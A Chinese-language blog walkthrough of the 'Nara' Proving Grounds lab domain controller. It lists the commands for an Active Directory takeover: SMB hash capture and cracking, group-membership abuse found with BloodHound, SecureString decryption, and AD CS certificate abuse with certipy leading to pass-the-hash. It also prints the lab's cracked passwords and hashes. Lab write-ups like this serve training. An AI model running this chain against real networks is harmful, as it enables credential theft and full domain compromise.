Proving Grounds Practice : Nara Walkthrough

 Proving Grounds Practice : Nara Walkthrough


Foothole (立足點 ) :

  • SMB 丟檔案獲取 NetNTLMv2 破解獲得驗證
  • evil-winrm 無法進入,改用遠端 BloodHound 發現對 Remote Access 群組有 GenericAll 權限
  • 遠端加入群組,再用一次 evil-winrm 進去了

PE ( 提權 ) :

  • 獲得一組 SecureString 密碼,破解獲得新的一組驗證
  • 新的驗證可以申請憑證,直接申請一張 Administrtaor 憑證並解出 HASH
  • 透過 HASH evil-winrm 進去主機

注意事項 : 

  • 遠端 BloodHound
  • 遠端異動群組成員
  • 遠端申請憑證
  • 遠端匯出憑證 HASH


第一步 Rustscan,└─$ rustscan -a 192.168.228.30 --scripts none --ulimit 5000 | tee rustscan

53、88、135、445、389 等,看來又是一台 DC



snmp filtered 沒戲,└─$ sudo nmap -sU -p 161 192.168.228.30 | tee snmp



nmap,└─$ sudo nmap -sCV -A -p 53,88,135,139,389,445,464,593,636,3269,3268,3389,5985,9389,49668,49664,49667,49682,49683,49690,49694,49708,49722 192.168.228.30 | tee nmap



nmap with LDAP,└─$ nmap --script "ldap* and not brute" 192.168.228.30 -p 389 -v -Pn -sT

Domain : DC=nara-security,DC=com

dnsHostName: Nara.nara-security.com



編寫 Host File



LDAP 物件搜尋,└─$ ldapsearch -v -x -b "DC=nara-security,DC=com" -H "ldap://192.168.228.30" "(objectclass=*)"



enum4linux,└─$ enum4linux -a  192.168.228.30           



smb list check,└─$ smbclient -L \192.168.228.30

發現一個非 DC 預設的資料夾 nara



SMB 登入看看,└─$ smbclient  '//192.168.228.30/nara'       

發現一個 Important.txt 檔案,抓回來看看


Important.txt 內容,主要是說叫你要查看這個分享資料夾,可以提高你的工作效率



IT 資料夾沒東西但是可以寫入



直接升成檔案丟過去看看,└─$ python3 hashgrab.py 192.168.45.178 aries



responder 沒反應



改丟到登入的 nara 資料夾



responder 一樣沒有反應



改丟到 Documents 目錄底下



responder 抓到 NARASEC\Tracy.White 驗證了



存成檔案,hashcat 帶 5600 破解



破解成功得到一組驗證 TRACY.WHITE:zqwj041FGX



crackmapexec 測試一下,└─$ crackmapexec smb 192.168.228.30 -u 'TRACY.WHITE' -p 'zqwj041FGX' -d nara-security.com

驗證資訊有用



evil-winrm 進不去.......GG



開始帶帳號密碼的枚舉

SMB List check 帶帳號密碼看看,└─$ smbclient -L \192.168.228.30 -U 'TRACY.WHITE' --password='zqwj041FGX' 

目錄看來都一樣


遠端跑跑看有沒有 ASREPRoast
└─$ ./GetNPUsers.py nara-security.com/Tracy.White:zqwj041FGX -dc-ip 192.168.228.30 -request -format john -outputfile outputfile.txt                       
看來是沒有



直接遠端 BloodHound,└─$ bloodhound-python -d nara-security.com -u 'TRACY.WHITE' -p 'zqwj041FGX' -gc nara.nara-security.com -c all -ns 192.168.228.30

好用的文章 : https://medium.com/@rajeevranjancom/attacking-active-directory-3109534290e8



先 Mark Owned



一樣看一下權限,發現有 GenericAll 對 Remote Access 群組



看一下 Abuse,簡單講就是可以修改群組成員

前面教學用 net group 或是用 PowerView



主要幾個指令如下

=====================================================================

$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)

Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred

Get-DomainGroupMember -Identity 'Domain Admins'

=====================================================================


先確認使用者 DN 與 Group Name DN

CN=REMOTE ACCESS,OU=REMOTE,DC=NARA-SECURITY,DC=COM



現在擁有一組驗證但是無法遠端到 Windows 機器,所以要用遠端修改群組成員

參考 ldeep,https://github.com/franc-pentest/ldeep/tree/master



安裝與同步 ldeep,└─$ pip3 install git+https://github.com/franc-pentest/ldeep



下載 __main__.py 遠端將現有使用者 Tracy.White 加入到 Remote Access 群組,└─$ python3 __main__.py ldap -u tracy.white -p 'zqwj041FGX' -d nara-security.com -s ldap://nara-security.com add_to_group "CN=TRACY WHITE,OU=STAFF,DC=NARA-SECURITY,DC=COM" "CN=REMOTE ACCESS,OU=remote,DC=NARA-SECURITY,DC=COM"



再跑一次 evil-winrm,└─$ evil-winrm -i 192.168.228.30 -u 'TRACY.WHITE' -p 'zqwj041FGX'

這一次順利遠端連進去了


開始 PE,發現文件夾中有個檔案叫做 automation.txt,抓回來看看



寫 Enrollment Automation Account 然後是一串值,這是標準的 Powershell SecureString

微軟內建使用的一種 Credential



參考這一篇 : https://medium.com/@nikhilsda/encryption-and-decryption-in-powershell-e7a678c5cd7d


指令如下




編輯一下,開始解密

$securepwd = "01000000d08c9ddf0115d1118c7a00c04fc297eb0100000001e86ea0aa8c1e44ab231fbc46887c3a0000000002000000000003660000c000000010000000fc73b7bdae90b8b2526ada95774376ea0000000004800000a000000010000000b7a07aa1e5dc859485070026f64dc7a720000000b428e697d96a87698d170c47cd2fc676bdbd639d2503f9b8c46dfc3df4863a4314000000800204e38291e91f37bd84a3ddb0d6f97f9eea2b" | ConvertTo-SecureString

$Marshal = [System.Runtime.InteropServices.Marshal]

$Bstr = $Marshal::SecureStringToBSTR($securepwd)

$pwd = $Marshal::PtrToStringAuto($Bstr)

Write-host $pwd

獲得一組新的密碼 hHO_S9gff7ehXw



AD 的使用者如下



建立使用者清單測試新拿到的密碼看是哪一個使用者(移掉現有的 Tracy.White)
└─$ crackmapexec smb 192.168.228.30 -u ./usernames.txt -p 'hHO_S9gff7ehXw' --continue-on-success
發現新的驗證 : nara-security.com\Jodie.Summers:hHO_S9gff7ehXw



evil-wimrm 測試一下,└─$ evil-winrm -i 192.168.156.30 -u 'JODIE.SUMMERS' -p 'hHO_S9gff7ehXw'

這個使用者可以登入沒有問題 (無法登入的話就同樣手法加入 Remote Access 群組即可)
whoami /priv 看了一下一樣沒啥有用的權限



開始 PE,一樣先跑 BloodHound,遠端執行即可

└─$ bloodhound-python -d nara-security.com -u 'JODIE.SUMMERS' -p 'hHO_S9gff7ehXw' -gc nara.nara-security.com -c all -ns 192.168.156.30



一樣設定 Owned 然後看一下攻擊向量,沒發現有特別的地方



繼續往下看發現一個有趣的群組 "Certificate Service Dcom Access"



這表示這個網域看來是有建立 CA Service,加上我們發現的 automation.txt 文件

內文第一行寫著 " Enrollment Automation Account ",在在顯示了憑證在這個網域中的應用

BloodHound 預設相關的收集是不包含 CA Service 相關的服務

這時候改用 certipy 重新來收集 BloodHound 的資訊,先看一下相關參數

最重要的是 find 這個參數,可以收集 CA 相關資訊 [ Enumerate AD CS ]



相關參數可以參考這一篇 https://github.com/ly4k/Certipy




編輯好指令如下,因為這是靶機所以要將 DNS 指向靶機不然會解析不到該網域名稱

certipy find -u JODIE.SUMMERS -p 'hHO_S9gff7ehXw' -dc-ip nara-security.com  -dns-tcp -ns 192.168.156.30 -bloodhound

跳出 Error "Got error: module 'enum' has no attribute '_ decompose'"

查了一下文章這個在 python 3.11 才會發生,前一版 3.10 就沒問題

可以用 python env 建立一個環境跑 3.10 就可以解決

但這裡參考這一篇文章 https://github.com/ly4k/Certipy/issues/108

簡單將就是將 _decompose 函數添加回 /usr/lib/python3.11/enum.py 中



添加 _decompose 後再跑一次看來是成功的



CA 名稱是 "NARA-CA@NARA-SECURITY.COM"



憑證範本名稱是 "Template Name": "NaraUser"



申請 Administrator 憑證,獲取 HASH 值

certipy req -username 'JODIE.SUMMERS' -password 'hHO_S9gff7ehXw' -target nara-security.com -ca NARA-CA -template NARAUSER -upn administrator@nara-security.com -dc-ip 192.168.156.30

certipy auth -pfx administrator.pfx -domain nara-security.com -username administrator -dc-ip 192.168.156.30

獲得 administrator HASH 如下

[*] Got hash for 'administrator@nara-security.com': aad3b435b51404eeaad3b435b51404ee:d35c4ae45bdd10a4e28ff529a2155745

impacket-psexec 直接進去

└─$ impacket-psexec -hashes :d35c4ae45bdd10a4e28ff529a2155745 administrator@192.168.156.30

結果 GG



改用 evil-winrm 試試看
└─$ evil-winrm -u administrator -i nara-security.com -H d35c4ae45bdd10a4e28ff529a2155745

進去了



留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)